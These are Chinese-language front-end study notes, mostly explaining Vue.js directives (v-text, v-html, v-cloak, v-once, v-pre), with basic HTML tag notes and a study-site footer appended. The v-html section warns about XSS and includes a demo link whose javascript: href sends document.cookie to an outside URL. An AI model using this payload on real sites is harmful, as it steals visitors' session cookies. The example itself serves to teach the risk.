v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
})
</script>
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!--
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!-- 准备好一个容器-->
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
代码摘录于尚硅谷Vue学习课件
Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统:
<div id="app">
{{ msg }}
</div>
//实例化代码
var app = new Vue({
el: '#app',
data: {
msg: '欢迎学习Vue'
}
})
{{ msg }} 为什么会变成 msg 的值?vue 使用基本 html 的模板语法,允许开发者声明式地将DOM 绑定至底层 vue 实例的数据,所有 vue 模板都是合法的 html,所以能被遵循规范的浏览器和 html 解析器解析。
2.1、mustache语法
mustache 翻译为中文,是胡子/胡须。由于 {{ msg }} 两边都有对称的大括号,就像人的胡须一样,所以就叫做 mustache 语法。
特点:不仅可以直接写成变量,也可以添加简单的表达式。
//写法多样,使用便捷
<h2> {{ msg }} <h2>
<h2> {{ fir+' '+sed }} <h2>
<h2> {{ fir }} {{sed}} <h2>
<h2> {{ number + 1 }} <h2>
<h2> {{ message.split('').reverse().join('') }} <h2>
2.2、v-once
上边的数据绑定中,页面展示 msg 的值,如果我们在浏览器调试中,修改 msg 的值,页面立马会更新,始终保持最新的值为页面内容。
调试模式,输入如下内容观察:
app.msg="你不爱我了" //回车
vue 支持动态渲染文本,在修改属性的同时,实时渲染文本。为了提高渲染效率,只需第一次渲染出文本之后,后期属性再修改不会影响文本内容。
此时就需要使用 v-once 解决问题。
//使用语法
<span v-once>{{msg}}</span>
特点:该指令后面不需要任何表达式,表示元素或组件只渲染一次,不会随数据的改变而改变文本。
2.3、v-html
在某些特殊情况下,页面需要动态地插入一段 html 代码,比如编辑器,动态传入的就是一段html 代码,使用时我们需要原样输出,如:
<div>{{url}}</div>
data(){
return{
url:'<a href="http://www.baidu.com">百度首页</a>'
}
}
直接这么写并不能满足我们的要求,我们需要展示成带有超链接的百度首页,此时 v-html 登场。
// v-html 使用语法
<div v-html="url"></div>
给元素添加 v-html 指令后,元素就展示成一个带有超链接的百度首页文字。
v-html 特点:可以解析字段内的标签,把内容当作 html 标签来处理。
2.4、v-text
// 使用语法
<span v-text="msg"></span>
特点:与 mustache 语法类似,用于展示文本的。使用没有 mustache 灵活,所以使用较少。
注意点:<span v-text="msg">新内容</text> 标签中又新增内容时,会把原来 msg 中的内容覆盖掉。
2.5、v-pre
v-pre 与 html 中的 pre 标签有些类似,html 中的 pre 会原样输入空格、换行、缩进和文本内容。v-pre 也是原样输出内容,不会解析。
// 使用语法
<div v-pre> {{ msg }} </div>
页面直接输出 {{ msg }}
2.6、v-cloak
cloak 翻译成中文,是斗篷。那么 v-cloak是用来干什么的呢?
html页面运行的时候,会闪现 {{ msg }} ,如图:
v-locak 就是用来解决这个问题的。
// 使用语法
<div v-cloak> {{ msg }} </div>
特点:在 vue 解析之前,元素有 v-cloak 属性,vue 解析之后,元素没有 v-cloak 属性。
利用 v-cloak 的特点,我们在 css 中添加
[v-cloak]{
display:'none'
}
此时再运行网页的时候,解析之前会被隐藏掉,解析之后才展示内容,就不会再闪现 {{msg}}。
TML标签:
所有内容都在<html></html>标签之内;
<head></head>内放的是头部信息,是对页面的描述,不会直接显示在页面中。
<head></head>内的<title></title>中设置的是页面的标题,<title></title>只能放在<head></head>中;
<body></body>是页面的主体,大部分显示内容都定义在这里。
HTML注释:<!-- -->:
注释不允许嵌套
html常用标签:
h标签(标题),HTML定义了<h1></h1>到<h6></h6>六个h标签,分别表示不同大小的字体。h1最大,h6最小。
<br/>只是回车,<p>是段落。<p>前后会有比较大的空白,而<br/>则没有。
<center>居中显示.
<b>、<strong>粗体,<i>、<em>斜体。<u>下划线。
<sub>2</sub>下标,如:H<sub>2</sub>O
<sup>2</sup>上标,如:10<sup>2</sup>
<font></font>字体标签,<font color=“red“ size=“7” face=“隶书”>红色</font>。color(设置颜色) size(1-7) face(设置字体,设置字体是注意用户计算机中必须有该字体才能正常显示)
<hr> color size(厚度) width(长度) align=left/center/right (默认为剧中显示)
<pre> 预格式化 保持本色;
HTML特殊字符:<(小于号,less than);>(大于号,greater than); (空格)。
超链接:<a>标签的一些常用属性:href、title、target、name
插入图片:<img src=“路径”/>
列表:dl→(定义列表),ul→(无序列表), ol→(有序列表)。
表格:<table>;创建行:<tr>;创建单元格:<td>;表页眉:<thead>;表主体:<tbody>;表页脚:<tfoot>;表头:<th>。
rowspan(合并行)、colspan(合并列)
<input>是主要的表单元素,type的可选值:submit(提交按钮)、button(普通按钮)、checkbox表单标签:(复选框)、file(文件选择框)、hidden(隐藏字段)、image(图片按钮)、password(密码框)、radio(单选按钮)、reset(重置按钮)、text(文本框)。
meta标签:(包括在head标签中。主要用来描述页面自身信息,元信息)
<meta name="keywords" content="C#学习资料,4k8k.net,.net开发,软件开发,编程自学网"/>
<meta name="description" content="免费更新最新C#相关技术知识,主要包括:.net基础,网页前端,三层架构,SQL数据库..."/>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />网页编码
<meta http-equiv="Refresh" content="3" />三秒钟后刷新此网页。
<meta http-equiv="Refresh" content="3;url=http://www.4k8k.net" />三秒钟后重定向到新网页。
<meta http-equiv="Cache-Control" content="no-cache" /> 禁止浏览器缓存页面。
<meta name="名字" content="值" />关于网页的描述信息。
<meta http-equiv="名字" content="值" />模拟http响应头信息。
C#编程自学_做最好的.net自学资料站_更多文章请访问:http://www.4k8k.net/
欢迎订阅。
*请认真填写需求信息,我们会在24小时内与您取得联系。